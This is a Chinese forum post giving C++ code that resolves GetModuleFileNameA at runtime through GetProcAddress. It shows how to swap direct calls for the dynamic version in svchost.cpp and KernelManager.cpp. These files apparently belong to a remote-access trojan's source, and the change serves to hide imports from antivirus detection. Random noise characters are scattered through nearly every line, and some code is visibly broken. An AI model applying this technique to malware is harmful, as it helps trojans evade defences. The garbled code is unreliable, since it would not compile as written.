返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记+ v# E2 \- D! W$ F, ~* V  T
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h* z4 `" q: _8 t& L* v/ U
----------------------------------------
6 ?$ h3 C- Y5 R- ~- L& PDTDY.h:
' `9 ^1 X; D0 S0 `# G# X- B6 r( `* W5 D8 A3 g4 o
#if _MSC_VER>1000
8 o2 t+ T# s7 E9 \5 A#pragma once) |& @6 _. W* @9 x2 n+ ?, [) y! o
#endif //_MSC_VER>1000
* \* g7 _1 }# t* \# F9 E6 c- ], F; i#include<windows.h>
6 v; ]  i6 @. N" b) W( X1 U& [6 x: ]" k: H7 L
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
0 v$ L, O2 K, Dclass DTDY" H9 q! \( q7 c' `9 E/ W. r4 [. R
{' P) F/ O1 }& v# K1 s# u3 \: r8 w
public:
. }$ u$ ~9 p4 l8 x0 P! f) ODTDY();
& S  x4 ]" Q2 avirtual ~DTDY();5 X2 U5 ?' T% [$ _9 g) l" O4 q
public:
! C/ V8 W# C  q' K8 e6 M8 v' Xstatic pGetModuleFileNameA MyGetModuleFileName;
1 y; B- D" }  Ustatic BOOL FunInitiallization();
8 g* W9 A7 x9 j( |};
& n4 j& @' E$ ^  |, _9 H1 H#endif! h$ |# y3 o8 H
----------------------------------------  J/ R4 ~3 L+ e' u( ^- w

$ h& V1 T- _- K0 g% ?DTDY.cpp:8 m2 @6 O% n! z: h
" k" E8 {3 Y9 n& i$ Q1 `$ x
#include "DTDY.h"6 s# e* h. Y+ `) Y
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
4 c1 c, ?# U, ]  n1 qDTDY:TDY()' Y. D7 y* N- ?- h/ s& ]& `
{
3 M* }4 P0 ~  o# R3 B}
5 b8 e. |! K0 o  vDTDY::~DTDY(): V# t+ [1 t) a0 e$ m( Y
{
' N; g3 W0 V' l# d* q& M0 ~}
2 M7 Y( @! E; {, [$ b5 Y5 PBOOL DTDY::FunInitiallization()! g, W  v+ |1 R1 w6 h7 A- ?# a
{7 Z; N0 ?! K4 A2 T
HMODULE hModule=LoadLibrary("kernel32.dll");
% C1 B+ c2 r1 A' e! E  L% n1 q' W! hMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
4 e2 k, `' ?2 d! gif(!MyGetModuleFileName=) return FALSE;
) k, P1 h: i3 Y
2 Y. b. M3 f' k, F- Sreturn TRUE;
9 `) A5 \' w1 w) H% v' b0 i7 i}
+ E* O' h1 c- I8 ]----------------------------------------
& y& n% m1 m  v& Csvchost.cpp:
0 L6 T$ {( {6 I  Z5 }. r2 `5 d7 D. v. F6 F0 Q
#include "DTDY.h", W2 ?: X5 E% ~( M9 g  L- E
# K4 `6 ?% Q' R4 g: J+ X
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
! d& q( D6 _9 g) e  a! z# t% ^{
6 |$ n/ W3 d0 p6 c! I, C5 iswitch(ul_reason_for_call)
8 F8 U0 D1 s% _{
# k6 @7 E1 T- E" @; Vcase DLL_PROCESS_ATTACH:
% D6 l. Q7 g1 i) S* b& y/ rif(!DTDY::FunInitiallization()) return FALSE;! A( S: e; g& v9 o, o' R% B, q1 k
3 `! _7 R3 S8 |3 F" ^5 s
break;
, f$ p6 E- Q9 l+ i3 O0 u9 q' s}
: N+ o% R* F" A' X5 }+ z# N}* l  v. X, p9 q* B/ ^) B
" Y- K5 j& s0 Q: |

- O! s1 I9 |4 K% v+ e3 H9 AGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
# l; Y$ D) |- ]+ e# V5 [; k* F& m+ K改写为1 M! @0 M4 \. Y6 m# l
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));- W4 w+ ~! F1 t
----------------------------------------" [' F. a; C( p4 K% d' P3 ~
KernelManager.cpp:" O0 |: q! `4 k) v+ V' d7 s

2 y$ d6 B4 x. w( ^/ K#include "../DTDY.h"7 t  K  p# B+ O- @. S& I8 L
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
" V. _2 S. g9 C/ ^4 ^: y改写为
: }# b: }. }- a( }& d, S- PDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
2 z. _/ N; u6 D3 ^8 b2 |----------------------------------------

返回列表